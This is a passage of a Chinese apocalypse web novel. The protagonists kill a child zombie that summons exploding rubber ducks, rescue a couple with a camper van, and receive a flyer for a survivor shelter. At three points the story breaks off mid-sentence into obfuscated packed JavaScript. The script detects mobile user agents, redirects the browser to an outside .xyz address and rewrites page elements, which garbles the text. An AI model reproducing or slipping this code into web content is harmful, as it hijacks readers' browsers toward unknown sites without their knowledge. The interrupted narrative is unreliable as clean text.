这一次使用能力,她终于明白了,所谓的“生机”可以简单的理解为体力,她在使用能力的同时,同样也在消耗自己的体力。让她安心的一点是,被消耗的体力只要充分休息就能恢复,未来使用能力时只要多加注意就好了。 “要消耗一些体力。”她没必要向郑承隐瞒自己的能力,“等到了安全的环境,我再继续为你治疗。” 郑承刚想说不用治疗,他的伤口已经恢复得差不多了,扭头看向池遥时,余光瞥见了什么,猛地转过身去。 见到他的动作,池遥也跟着转过身,面朝着来时的方向,惊愕地瞪大了眼。 不知从何时开始,整个街道两侧,整整齐齐的出现了两排小黄鸭,占据了整条长宁街,经过他们脚下,一直蔓延到幼儿园大门口,打开的大门内黑黢黢的一团,仿佛在等待着他们自投罗网。 身体先一步行动,池遥拉起郑承的手朝着远离幼儿园的方向跑去,然而,刚跑出两步,就听到了接二连三的巨响。 不远处长宁街上的小黄鸭,正在一个接一个的爆炸! 距离他们最远的小黄鸭最先爆炸,爆炸的余波再次引爆更近的小黄鸭,彻底阻拦了他们的前路。 蔓延到幼儿园门口的小黄鸭仿佛成了爆炸的导火索,池遥和郑承能感受到爆炸带来的余波,爆炸范围和威力虽然不大,但数不清的小黄鸭同时爆炸,硝烟与巨响几乎要把二人的头脑撕裂,连脚下的大地都在轻微震动。 两人同时反应过来,扭头朝着幼儿园大门的方向跑去。 若是按照现在爆炸的轨迹推断,过不了十秒,他们脚边的小黄鸭也会跟着一起爆炸,两人根本不可能抵抗得住那么多只小黄鸭一起爆炸的威力。 尽管敞开的大门宛若陷阱,但现在毫无办法的两个人只能一股脑儿地冲进去,顺手关紧大门,朝着走廊深处跑去。 直到响彻整个幼儿园的巨大爆炸声停息下来,两个人才终于松了一口气,转过身想要离开幼儿园。 然而,一片漆黑当中,两个视觉强化过的能力者能清晰的看到,沿着二人来时走过的路,在他们的每一个脚印上,都立着一枚小小的橡皮鸭。 一旦他们后退,这些橡皮鸭想必会再次爆炸。 因此,只能前进,无法后退。 池遥与郑承对视一眼,都在对方的眼神中看出了警戒之意,然而他们除了前进却想不到任何办法。 尽管二人可以在黑暗中视物,但为了方便,郑承还是打开了手机手电筒,池遥这才想到自己的智能手表也有手电筒功能,她以往从未用过,自末日后把这件事忘得一干二净。 两人打开各自的手电筒,准备周全后才再度前进。 幼儿园一楼是各种多功能活动室,池遥走进几个房间里观察情况时,发觉墙壁上,地上,到处都是惨不忍睹的血迹,还有不少残缺的人类尸体,与其说是尸体,不如说是属于人类的零星部件。 不只是一间房间,几乎整个一楼的所有房间都是这种情况。 看到这幅景象,池遥的脑海中不由地闪过两个字。 行尸。 她还以为行尸的出现只是极偶尔的情况,没想到已经如此普遍了。 穿过一片漆黑的一楼走廊,是通往二楼的楼梯。 一楼的二楼的走廊之间的墙壁上,展示着每个幼儿小班的小红花情况,池遥看到时,忍不住感慨地笑笑,轻声告诉郑承。 “我小时候就是在这里读的幼儿园。” 只可惜那时候年纪太小,现在池遥完全记不起来任何和这所幼儿园有关的记忆。 更何况,在池遥离开这所幼儿园的十几年间,这所幼儿园经历了好几次翻修,现在的布局和池遥幼时完全不同。 幼儿园的二楼和三楼主要是各类教室,二楼以教室为主,三楼以园长和老师们的办公区为主。 上了二楼,周身的氛围骤然变了。 二楼走廊的墙角处,密密麻麻地堆放着成排的小黄鸭,两人朝着二楼前进的脚步一转,本想掠过二楼,继续朝着三楼走,然而只是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15979943|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停顿,转瞬之间,通向三楼的楼梯也被小黄鸭占满。 不得已,两人只好硬着头皮走进二楼走廊。 幸好,当他们走过走廊入口时,脚边的小黄鸭并没有任何动静,仿佛真的只是个小黄鸭玩具。 两人提心吊胆地向前走,这下他们也无暇去调查每间教室内的情况了,生怕一打开门再看到满房间的小鸭子。 然而,走了一会儿,池遥却放慢了脚步,侧头看向身旁的郑承。 “你听到了吗?” 在一片寂静的幼儿园中,隐隐约约传来孩童的哭声。 哭声仿佛从很近的地方传来,孩童的嗓子因为长久的哭泣而嘶哑不堪,哭声凄切,令人难以忽视。 在这样诡异的空间内传来孩子的哭声的确十分诡异,然而,想到这里或许有行尸的判断,池遥的心就有些揪起来,她既担心这是行尸的陷阱,又害怕这是被行尸抓起来的孩子的求救。 “去看看吧。”郑承比池遥先一步做出选择,“末日到来这么久了,万一是被困在幼儿园里的孩子,恐怕已经在这里待了很久很久了。” 他的话停顿了一下,继续开口时,语气就有些低落。 “也有可能是陷阱,但我们都走到这里来了,一时半会也不知道该怎么破局,还不如去看看什么情况。” 循着声音走去,离哭声传来的方向越近,走廊中的小黄鸭数量就越多,为了防止不小心碰到小黄鸭导致爆炸,郑承和池遥从并排变成了并列前行,最终,停在了一间房间门口。 隔着房门,明显听到了孩童的哭声。 过了这么长时间,孩子的哭声已经渐渐止住了,只剩下了浅浅的抽泣声。 “我开门了。” 郑承走在池遥前面,一手握住门把手,放轻了声音向池遥示意。 因为郑承走在前面,为了防止出意外,他提前关闭了手机手电筒,存放在了池遥的吊坠当中。池遥在他身后抬高手臂,用手腕上手表的手电筒为二人照明。 郑承在心中倒数三个数,深吸了一口气,一把推开了房门。 浓烈的血腥味传入鼻腔,呛得池遥几乎要咳嗽出声,她急忙捂住口鼻,在郑承身后朝四周望去。 不大的教室内,四面墙壁全部被鲜血涂匀,散发出难以忍耐的腥气,墙角处叠放着不少尸体,大多只剩个脑袋和一副骨架,其余部位已经消失不见了。 而在教室中央,伫立着一个小小的身影,因为不停啜泣,身体都在轻轻地颤抖。 这的确是个孩子,看身型只不过三四岁左右。 可它面部皮肉已经变得血肉模糊,皮肤开裂成如同陶瓷碎裂般的碎片,一部分的皮肤从面庞上剥落,还有些连着脸上的血肉,垂在脸上半掉不掉的。瞳孔深陷,突出的眼球几乎要从黑黢黢的眼洞中滚落出来,整张脸已经看不出任何人类的形态,比在街道上游荡的丧尸还要恐怖。 它穿着一件连体背带服,浑身上下已经被血色侵染,露在外面的肢体也早已看不出任何皮肤痕迹,只剩下了模糊的血肉与被包裹其中的白骨,那只连血肉都几乎全部剥落,只剩下白骨的手掌上,捧着一枚小黄鸭。 “妈妈......妈妈......” 它一边啜泣着,一边抬起手去抹并不存在的眼泪,尖利的手骨将一片皮肤从脸庞上生生撕扯下去。 池遥和郑承同时倒吸一口冷气。 15. 长宁街3 大一的时候,每周日的晚上,池遥宿舍里的四个人总会聚在一起看古今中外有名的恐怖片。 池遥通常贡献出自己的平板电脑和小桌板,四个人将学校发的被褥铺在地板上,披着被子挤在一起瑟瑟发抖。 每个人对于恐怖的定义不同,害怕的点也各有不同。和池遥关系最好的舍友曲卓对玄之又玄的恐怖氛围毫无感觉,但每当看到主角受伤或死亡的惨状,总是跟着屏幕内的主角一起露出痛苦的表情。 而池遥胆子小,她平等的对所有恐怖场景都感到害怕,但这种害怕又平稳的维持在一个度之内,让她只在看到恐怖场景的时候感到害怕,却不会在电影结束后产生阴影。反而每次都对新的恐怖电影跃跃欲试,又再次被吓得抱着曲卓不松手,俗称又菜又爱玩。 而此时,盯着面前的幼儿行尸,池遥忽然理解了每次跟着电影角色一起痛得龇牙咧嘴的曲卓。 幼儿行尸尖利的白骨指尖每一次擦过面庞的时候,都会在脸上留下一道深可见骨的伤口,池遥和郑承看得头皮发麻,只觉得自己的脸皮仿佛也被生生撕扯下来一般,几次想掉头就跑,但房门外的走廊中不知何时聚集了大量的小黄鸭,小鸭子的眼睛全部朝着他们的方向,犹如在阴影中注视着他们一般,让池遥和郑承二人迟迟不敢踏出脚。 在看到面前的孩子的第一秒,池遥的本能反应是逃跑。 即便房间内浓烈的血腥味,一路走来看到的尸体部件都提醒着她,这个孩子并不无辜,变成行尸后,它吃了太多人,但池遥的道德和良知还是在不停提醒她,她不能对一个孩子下手。 然而,当下一秒,孩子手里的小黄鸭朝着二人飞去,在他们原本站立的地方轰然爆炸时,不用郑承提醒,池遥动作极快地从吊坠中取出郑承的菜刀,递给了身边的人。 既然对方已经对他们出手了,那她自然不需要抱有多余的同情心,狠心下手杀掉面前的行尸反而能够拯救更多人。 只可惜,二人搜罗了一天,连一个像样趁手的武器都没找到,到现在两人手中还是只有一把菜刀,池遥依旧没有任何武器,在一楼的时候,她就提前在吊坠中搜寻过,能够充当临时武器的物品不少,但都不方便随时拿在手里。 菜刀是郑承带来的,他接过菜刀,立刻朝着幼儿行尸的方向冲了上去,而池遥则紧紧跟随在他的侧后方,她反应比郑承要快,一旦遇到危险能及时把郑承拉开。 瞬间,幼儿行尸抬起头,突出的眼球定定地盯着郑承,同时,郑承脚边突然出现了一只小黄鸭,郑承一时不察,鞋面猝不及防碰到了小黄鸭。多亏池遥及时把他拉到一边,才险险避开,没有受重伤。 脚边的小黄鸭爆炸的同时,又波及到了几只附近的橡皮鸭,引发了连环爆炸,幸好爆炸发生在另一个方向,池遥捂着口鼻,等待这一次爆炸平息后,才抬头朝着幼儿行尸看去。 爆炸发生时,她余光瞄到了对面孩子模样的行尸动作极快地后退了几步。 起初,池遥以为这些小鸭子是幼儿行尸的能力,但如果是这样的话,它理应不该害怕自己的能力引发的爆炸才对。 她思考着不合理的地方,再度仔细将对面的孩子仔细打量了一番,才意识到,尽管这间房间里到处都遍布着会爆炸的小黄鸭,但幼儿行尸的周围反而没有几只小黄鸭。 但是,幼儿行尸又的确能够操控小黄鸭,池遥十分确定,刚刚猝然出现在郑承脚边的小黄鸭就是这孩子的杰作。 那么,幼儿行尸的能力究竟是什么? 既和这些小黄鸭有关,又不是直接引发小黄鸭爆炸的能力。 突然爆炸的小黄鸭并没有阻拦郑承进攻的步伐,他清楚二人唯一的菜刀就在自己手里,池遥手里连武器都没有,一旦他停止进攻,两人就会陷入被动。 而池遥却没有跟随郑承继续前进,而是朝着另一侧的墙角后退几步,离幼儿行尸更远了些,但也远离了小黄鸭最密集的门口处。 每一次阻拦郑承的小黄鸭都凭空出现在郑承附近,本身不会爆炸,直到郑承无意中触碰上去才会爆炸。吃了几次苦头,郑承的警惕性比刚才强得多,不需要池遥帮助也能闪避开身旁的小黄鸭,距离对面的孩子越来越近。 趁着郑承吸引走了幼儿行尸的注意力,池遥从另一侧静悄悄地绕到幼儿行尸侧后方,每一次郑承脚边出现小黄鸭的时候,幼儿行尸背在身后的白骨手指都会轻微的动一下。 然而,它只能把控小黄鸭出现的时机和地点,却无法控制小黄鸭的爆炸。 郑承和幼儿行尸的距离再一次被缩短,就在同时,他面前的空中突然凭空出现了一只小黄鸭,郑承本能地抬起握着菜刀的手格挡,菜刀猛地一挥,将小黄鸭拍向幼儿行尸的方向,小黄鸭在半空中轰然爆炸。 站在幼儿行尸背后的墙角处,池遥能清楚地看到幼儿行尸动作飞快地后退了几步,与她之间的距离再度被拉近。 眼下幼儿行尸的注意力全部集中在郑承身上,对于池遥而言是最好的突袭机会,她手上没有任何武器,如何一击制敌? 池遥刚握住吊坠,还没行动,郑承已经举着菜刀冲了过来,刚才的爆炸让幼儿行尸自顾不暇,没有了小黄鸭的阻拦,郑承趁着爆炸的烟尘掩饰,直直冲向幼儿行尸。 然而,即便郑承是已经经历过身体强化的能力者,与三四岁的行尸相比却仍旧显得力气不足,他用尽全力挥下的一刀被行尸的白骨手轻而易举地挡住,不仅如此,在郑承想要收回菜刀的时候,行尸的手指如同铁钳一般紧紧箍着菜刀,他一时之间竟然抽不回刀。 池遥的手再次伸向吊坠。 一次抽不回刀,郑承咬紧牙关,使尽全力握着刀柄向自己的方向拉,菜刀却仍旧一动不动。 忽然之间,小小的孩子抬起脑袋,一双鼓起的大眼直直对上了郑承的眼睛。 “哥哥......”它再次开口,声音带着哭腔,极尽可怜,“哥哥......爸爸妈妈都不见了......你知道他们去哪儿了吗?” 即便知道面前的孩子已经变成了行尸,可末日降临时,它也不过只是个三四岁的孩子。 它或许有着幸福的家庭,或许每天在这个幼儿园里过着无忧无虑的日子。 郑承一愣。 郑承不是个同情心泛滥的人,可面对着如此小的孩子,对方稍微示弱,就会让他的动作有所迟疑。 趁着这个瞬间,幼儿行尸的另一只手朝着少年的胸口掏去! 与此同时——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15998733|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “嘭!” 另一个沉重的物体朝着它的脑袋猛地砸来! 巨大的闷响声响彻整个房间! 在郑承面前,是不知何时绕到了幼儿行尸背后的池遥,她双手举着一本几百页的巨大硬壳精装书,书脊的尖角狠狠怼进了幼儿行尸的脑袋里,将近十斤的硬皮书威力堪比板砖,池遥又用上了全身的力气,只用了一击就砸烂了行尸的脑袋。 “......天呐。” 沉寂了好几秒,郑承才找回了自己的声音,他大张着嘴,瞠目结舌地看着池遥一脸痛苦地清理硬皮书表面残留的碎肉,好半天才想起来自己手里还握着菜刀,连忙又在行尸的尸体上砍了几刀。 “这是什么书?” 除了字典和词典,郑承从未见过如此厚的书籍,更何况比起字典,这本书的体积明显更大,重量也更重,普通人一只手根本负担不起。 “辞海。”池遥沉默了一会儿,将被鲜血染得鲜红的封面翻过来给郑承看。 在书店的时候,池遥的确收了不少书籍进吊坠空间,不过大多数都是漫画和小说。 而这本辞海则是池遥在工具书书架上看到的,全套三册装在坚硬的外壳中,又大又重,但想到自己未来或许会在末世中遇到还未接受完义务教育的孩子,在秩序紊乱的末世,这些工具书或许是孩子们学习的最后途径。 她还是扫空了整个工具书书架,将每种工具书都拿了一套收在吊坠里。 池遥从来没有想过,这些工具书竟然还能发挥武器的作用。 然而,她只拿了一套辞海,眼下这套书的外皮虽然被行尸的鲜血糊得什么也看不清,但里面的三本书完好无损,她只得把这套书再度放回了吊坠里。 幼儿行尸死亡的瞬间,整间教室内的小黄鸭们全部消失,只剩下大门口处的地面上还有唯一一只小黄鸭。 池遥走上前,小心翼翼地将小黄鸭捡起来,手里的小鸭子并没有任何爆炸的端倪,她松了一口气,摆在手中端详了半天,又放回原处,没想到她的手刚离开三秒,小鸭子就爆炸了。 幸好池遥和郑承两个人做足了心理准备,立刻向后退,才没有受伤。 爆炸平息后,池遥重新检查发生爆炸的位置,惊讶地发现,处于爆炸中心的小黄鸭完好无损。 她捡起小黄鸭,再度实验几次,手心中的小鸭子玩具依旧没有任何爆炸的端倪,但一旦她将小黄鸭放到某个地点,又或者脱手将它扔出去,小黄鸭就会在三秒后爆炸。 这竟然和她脖颈上的吊坠一样,是一个会反复爆炸的神奇道具。 池遥和郑承弄清了小鸭子的爆炸原理,将小黄鸭塞进吊坠中保存起来,才开始处理其他事。 幼儿行尸的尸体和一楼二楼零碎的尸体部件一并被两人堆在一起焚烧干净,处理完这些尸体后,池遥和郑承才终于上了三楼。 幼儿园的三楼以办公区域为主,儿童活动区域极少,大部分的房间虽然略显陈旧,但十分干净,与血迹斑斑的一层二层截然不同,显然幼儿行尸平日里也很少踏足三楼。 三楼最深处的房间是校长办公室,房间宽敞明亮,外侧是会客区,走进办公区时,二人才发现,地上倒着两个五花大绑的人。 16. 长宁街4 被绑在校长办公室的一男一女看起来十分年轻,和池遥相差不多,与末日里见过的大多数幸存者都不太一样。 蹲下为两个人解开绳索时,池遥这样想。 这两个人都伤得不轻,男人伤得尤为严重,此时陷入昏迷状态。然而他们面容饱满,显然不为食物发愁。衣着也相对干净整洁,更像是末日还未到来之前的普通人。 天色已经暗了下去,临近十一月份,北城的天色暗得越来越早了。 池遥和郑承在这个幼儿园消耗了足足一个下午的时间,然而真正与幼儿行尸打斗也就几分钟,大多数的时间都花费在了一楼二楼的探索上,入夜后,街道上的丧尸会变得更加活跃,今天恐怕无法按时到达北城大学了。 池遥和郑承解开了绑缚住两人的绳索,绳索绑得并不紧,只是每一个结都打成了死结,看起来的确像是孩子的手笔。 两人中的男人伤势过于严重,不易挪动,池遥小心翼翼地输送了一点能力,让他不至于重伤而死,又将昏迷的女子搬到了长沙发上,回头看到郑承已经坐在了办公桌前。 “今天走的路程比我想象的还要少。”郑承示意池遥来到他身边,将地图在桌面上摊平,用手指画出二人行进的路线给池遥看,“你看,我们刚刚走了三分之一,照这个速度,快的话恐怕也要明天下午才能到学校。” 池遥点点头,末日后已经过了这么长时间,早一天晚一天回到学校并没有什么本质上的区别,不仅如此,学校内的环境只会比校外更差。 北城大学共有两个校区,池遥和郑承所在的位于市内的主校区面积本就不大,也不像工程大学有大量实验楼,末日降临时正值小长假后的返校日,再加上大批学生返校,俨然成了丧尸最为密集的区域。 “我觉得尽量还是在天亮的时候回学校最好。”池遥开口将自己的想法讲给郑承听,“学校里的丧尸只会比外面更密集,晚上回学校的话,潜在危险因素太多了。” “是啊。”郑承显然和池遥抱有相同的想法,“不知道温俭有没有找到我们的车,昨天要是多和他说几句话就好了,他既然会开车,就应该让他开车直接把咱们送到学校啊。” “好天才的主意。”池遥跟着点头,“当时为什么没想到呢。” 原本严肃的话题立刻跑偏到对于温俭的埋怨中去,池遥和郑承两人长吁短叹,各自检讨为什么末日前没有腾出时间学车,颇为遗憾地感慨了一会儿,忽然听到身旁插进来一个陌生的女声。 “你们想去哪儿?我们有车,说不定可以送你们过去。” 池遥扭过头,昏迷的二人中受伤较轻的女人已经醒了过来,正坐在沙发上打量他们。 女人看起来不到三十岁,身材偏瘦,穿着深色的毛绒外套,看起来十分爽朗好相处的模样。 “你醒了?”池遥没有回答她的问题,“还记得发生什么事了吗?你们为什么会被绑到这里?” 随后,女人就给池遥和郑承简单讲了她的故事。 女人名叫安娴,和丈夫结婚后共同购买了一辆房车,两个人都是自由职业,每年会专门腾出四五个月的时间驾驶房车四处旅行。末日降临的时候,这对小夫妻正在房车旅行的路上,房车内物资充足,他们索性在北城市郊驻扎下来,每隔几天就开车进城补充物资,直到今天在长宁街被小黄鸭爆炸炸伤,才被幼儿行尸捉了起来。 安娴说完,池遥看着对方的目光不由带了几分向往。 这简直是她的理想生活! “我们的房车停在不远处一个很隐蔽的地方,我现在出门去把车开回来,车上有很多食物,资源也足够,至少可以把手机充满电。” 安娴说着就要动身,她受的伤不重,池遥只用了几秒钟就治愈了她的大部分伤口,这次治疗后,她能明显感觉到自己的身体更为疲惫,索性窝在沙发上恢复体力。 而郑承的能力是天然的掩护,由他和安娴一起去找房车,池遥则留在幼儿园内。 被行尸占据的地盘短时间内不会有任何丧尸入侵。整条长宁街上此时空荡荡的,丧尸们仿佛能感知到行尸的气息,都默契的避开了这条街道,自然也不需要担心幼儿园内会有丧尸,池遥把自己整个人蜷缩进沙发里面,抱着沙发上的靠垫闭目养神。 自从末日降临后,池遥的睡眠质量一直很差,在超市基地的每一晚都不敢入眠,即便睡着后,有任何声响也会立刻睁眼。她本以为这种睡眠缺失的状态会在离开超市基地后好转,但或许是与曲卓分开的关系,即便身处安全的环境内,她也很难真正放下戒心入眠。每一晚都是在疲惫中昏昏沉沉睡着,一旦有点风吹草动就立刻醒来的状态,因此她的体力恢复得也要比常人慢一些。 郑承和安娴的脚步在门外响起,池遥立刻睁开眼,掌心下蕴藏的热流恢复了一小半,她能感觉到自己的状态也比刚才好了不少。 “我们把房车开回来了。”郑承一开门就宣布了这个好消息,“我还是第一次进房车,他们的房车物资超级全!一会儿我们就搬到车上去!” “今晚你们可以先在我们的房车里休息,晚餐也可以直接在车里吃。我们车里最多能拼出三张床,足够四个人睡了。”安娴的表情也十分轻松, 池遥点点头,站起身来,郑承和安娴开始整理校长办公室里的物品,而池遥终于蹲在昏迷的男人身旁,小心翼翼地伸出手,贴在男人的手背上。 这还是她第一次正式治疗重伤的人,不久前她试着第一次向男人输送能力时就发现了,之前她为伤势较轻的郑承和安娴治疗时,只需要将掌心下的热流送到对方体内,自己的能力会被平均分配到对方全身的所有伤口上,对方的伤势会自动治愈。 但像安娴丈夫这种伤势严重的人,因为身上的伤势极为密集,所以仅仅输送能力并没办法起到显著的效果,不仅要将能力输送到对方的身体里,还要引导能力像填补凹陷一样填补到确切的伤口之上,更加费心费力。 幸好池遥刚刚闭目养神时恢复了一点体力,但也只治愈了男人身上几处严重的伤口,伤势较轻的伤口只治愈到能够结痂的程度,就几乎耗空了池遥的体力。 没过几分钟,男人也睁开了眼,安娴告知对方目前的情况后,男人立刻也对池遥和郑承表示感谢,他开口时的声线如同三月的风,十分柔和亲切,让池遥有种似曾相识的熟悉感,但她反复回忆,又确定自己的确没见过这个男人。 池遥在治疗安娴丈夫后再度恢复了待机状态,因此探索和收纳三楼的物品的工作是郑承带着池遥的吊坠进行的,三楼的物品大多数都是办公用品,郑承将吊坠还给池遥时,吊坠空间里多了大量的纸笔文件,各种小物件例如便利贴,计算机订书钉等。除此之外还收纳了小型打印机和几张椅子。 在安娴的丈夫醒来后,池遥惊奇的发现,安娴夫妻的相处中,安娴是明显强势的一方,而安娴丈夫性格更加温柔寡言,安娴与池遥二人说话时,她丈夫往往双眼含笑地在一旁看着几人。 占据幼儿园的行尸已死,丧尸不知什么时候就会游荡进入长宁街,过不了多久,幼儿园也会被丧尸占据。安娴丈夫醒来后,四人决定先回到安娴夫妻的房车上。 安娴的房车是一辆C级房车,停在长宁街幼儿园的后院里,车内面积 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16005685|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宽敞,除额头床和车尾的双人床外,驾驶座后的四人对卡座也可以拼成一张单人床。 车内的物资更是肉眼可见的丰富,夫妻二人在末日前就喜欢在房车里囤满各种食物,柜子里满是各类速食包装,还有末日后夫妻二人搜寻到的物资,车内的储物空间甚至不够用,就连额头床上也被各类食物箱子占得满满当当,安娴指示丈夫从额头床上抱下来几个大箱子,整理出一个足够一个人睡的空间,示意池遥晚上可以睡在额头床上。 尽管额头床上有不少杂物,但额头床上装了遮光帘,是整个房车内隐私最好的空间,池遥欣然接受了。 这一天的晚餐是池遥自从末日后吃过的最丰盛的一餐。 安娴丈夫找出房车内容量最大的锅,煮了两大袋速食东北麻辣烫,又冲泡了四小杯肉酱土豆泥,安娴则用冷水壶冲泡了一整壶的冷泡水果茶,分成四杯。 麻辣烫的汤底是浓厚鲜香的骨汤汤底,带着香浓的麻酱香气,一口吃下去从口腔到胃部都被熨帖得热腾腾的,饿了一个下午的池遥狼吞虎咽地吃了一小碗,和郑承对视一眼,在彼此的眼神中都看到了感动之意。 吃完麻辣烫,安娴来到驾驶座的车窗前,想看看外面丧尸的状况。 幸好,此时的长宁街上仍旧没有丧尸游荡,安娴看过后眼睛一亮,升起房车的车顶,叫郑承和池遥也一起到房车的天台上去。 “今晚有星星!快上来看星空!” 安娴将郑承和池遥拉上车顶,又让丈夫带着他们三人吃了一半的土豆泥杯子和水果茶杯子上来。 很快,四个人人手一杯土豆泥,惬意地坐在房车天台的沙发上,眺望着远处的星空。 北城市很少能见到如此美丽的星空,一时间,没有一个人说话,都沉浸在难得的轻松氛围当中。 “要是没有末日就好了。”安娴苦笑着叹了口气,“不然我们就可以在天台上吃烧烤了,以前我和我老公就经常带着朋友在这个天台上聚餐。可惜这些朋友末日后都联系不上了。” 说到最后,她的神色低落了些,池遥刚开口想要安慰她,安娴已经继续说起来了。 “但我们在这个末日有房车,有充足的物资已经很幸运了。”注意到池遥动容的神色,安娴朝着池遥露出一个柔和的笑容,“池遥,你的吊坠也可以收纳东西吧,我们车上有一些保质期短的食物已经快要过期了,我们还不知道该怎么处理好,一会儿我整理出来送给你,就当做是对你们救了我们夫妻二人的回报。” 听到这话,池遥第一反应是婉拒对方的好意,但她和郑承又的确需要食物,而且安娴说得很清楚,送给池遥的都是临期食物,留在安娴夫妻的手里反而更加浪费,想了想还是收下了。 她双手握着水果茶杯子,小口小口地慢慢喝掉,冲安娴笑得双眼弯弯,和郑承一起感谢安娴的礼物。 隐约之间,她忽然感受到了一道目光。 不是属于车上任何一个人的目光,而是离得更加遥远的,更为熟悉的目光,她慌乱扭过头,可视线内满是空旷的街道,连个丧尸的影子都没有。 回过头的时候,刚刚那种被人注视的感觉已经消失了,池遥捧着水杯环视周围,身侧的安娴和郑承聊得热火朝天,安娴的丈夫在给安娴空荡荡的杯子里倒水。 没来由的,池遥伸出手,轻轻贴在胸口,不知为何,心脏开始狂跳。 在如此美好,美好到近乎虚幻的氛围里,她的心底却忽然变得空落落的,未知的悲伤弥漫在喉咙里,仿佛有什么东西在上一个瞬间被自己彻底割舍开来。 而她甚至不知道自己割舍掉了什么。 17. 北城大学1 刚爬上天台时,四人一边聊天,一边吃着热腾腾的土豆泥,倒是没觉得天气冷。 但当四人相继吃完东西,寒风一打,立刻就让人失去了观星的兴致,四个人在天台上坐了不到二十分钟,就回到了温暖的车厢内。 直到坐在对卡座的座椅上,池遥才整理好心情,安娴丈夫烧了一壶热水,为几人冲泡了热乎乎的豆奶,而安娴正在给两个大学生讲她和丈夫极具趣味的旅行经历。 “对了,你们还不知道我的能力吧?” 用来冲泡豆奶的玻璃水壶给每个杯子倒满后只剩下了一壶底的一点点豆奶,安娴拎起水壶,示意池遥和郑承看好。 “我可以让容器内的液体重新补满。” 安娴的手掌贴紧水壶时,池遥惊讶地发现,原本空荡荡的水壶,一瞬间再次装满了豆奶。 正因为这个能力,安娴夫妻二人在末日后驾驶房车才从来不担心油耗,只要她的手掌紧贴油箱外壁,就能补充见底的油箱。 “不过这个能力也有很大限制。”安娴拎着变满的水壶,给郑承喝光的杯子续上新一杯豆奶,“我只能补充液体,而且这个能力一天只能使用一次,我可以补充的量也有限,比如房车的油箱和水箱,我一次是没办法补满的,需要好几天才能补满。” “已经很厉害了。”池遥发自真心称赞道,安娴的能力虽然无法攻击,但带来的却是在末日里极为稀缺的资源,无论是燃料,油,水资源都是无价之宝。 正因为拥有这样的能力,安娴才能在末日里驾驶着自己的房车,和没有觉醒能力的普通人丈夫一起过着资源富足的生活。 夜色渐深,最先撑不住的是消耗了大量体力的池遥,在治疗过安娴丈夫后,她的体力近乎透支,上了房车吃了不少东西后渐渐恢复了一些,但仍旧疲惫不已。 池遥缩了缩肩膀,把自己团成团蜷缩在额头床上,房车的额头床隐蔽性很好,遮光帘隔绝了所有外界的视线。 然而,即便疲惫至极,池遥闭上眼睛,却仍旧睡不安稳,每当听到一点细微的声响就会立刻醒过来。 夜里,池遥再一次被轻微的说话声吵醒。 是安娴在和丈夫窃窃私语,怕打扰到郑承和池遥,夫妻将声音放的很轻,池遥模模糊糊的,一时没听清他们在说什么。 面对着妻子,安娴的丈夫把声线放得更加轻柔,与和池遥二人说话时的声线柔软了不少,声音传到池遥的耳中,原本昏昏欲睡的池遥猛地瞪大了眼睛。 第一次听到安娴丈夫说话时,她就觉得有种熟悉感,而此时他放轻声音,池遥立刻就意识到了自己究竟是什么时候听过这个声音了。 是她以前很喜欢的一部网络广播剧主角的配音老师。 安娴,吃得真好啊。 第二天天一亮,房车窗外的长宁街上已经充斥着四处游荡的丧尸了。 安娴丈夫为四人冲泡了速食胡辣汤,而郑承则将北城地图铺在桌上,给安娴讲解从长宁街开车到北城市的路线。 安娴夫妻手里并没有北城地图,而郑承和池遥手里总共也只有两张地图,郑承犹豫了一会儿,终于还是下定决心将自己手里的地图送给安娴。 “不用麻烦,”安娴拿着充满电的平板对着地图拍了几张照片,“拍照保存起来就可以了,地图在你们手里作用更大。对了,这个地图上有和平区吗?”她似乎想到了什么,出声问道。 听到这个问题,郑承和池遥同时抬起了头,郑承开口回答道。 “和平区离我们学校还挺近的,你有具体的目的地吗?” 听到这话,安娴起身,从杂物柜中取出一张叠成小方块的白纸,摊开放在桌面上。 “你们看这个,这个是四五天前,我们在路上发现的。” 这是一张手写的简易传单。 白纸上用黑色白板笔写着几个大字。 ——和平区避难所欢迎所有幸存人类的加入。 在几个大字的下面,用黑色水性笔写着一行小字。 ——地址:和平区常青中学。 常青中学是北城知名的私立高中,以高昂的学费闻名,据说是所专门和海外名校对接的国际高中。 比起池遥,郑承对北城大学附近的地理环境更为熟悉,立刻在地图上找出了常青中学的地址指给安娴看。 “安娴姐,你们打算去这个避难所吗?” “不,我和丈夫开着房车,吃喝不愁。还没有去避难所的必要。”安娴摇摇头,将传单递给郑承,“我是觉得你们可能比我们更需要这张传单。” 郑承沉默了片刻,他和池遥两个人的目的地虽然是北城大学,但终究不可能一直待在北城大学里,作为能力者,去避难所避难反而是更好的选择。 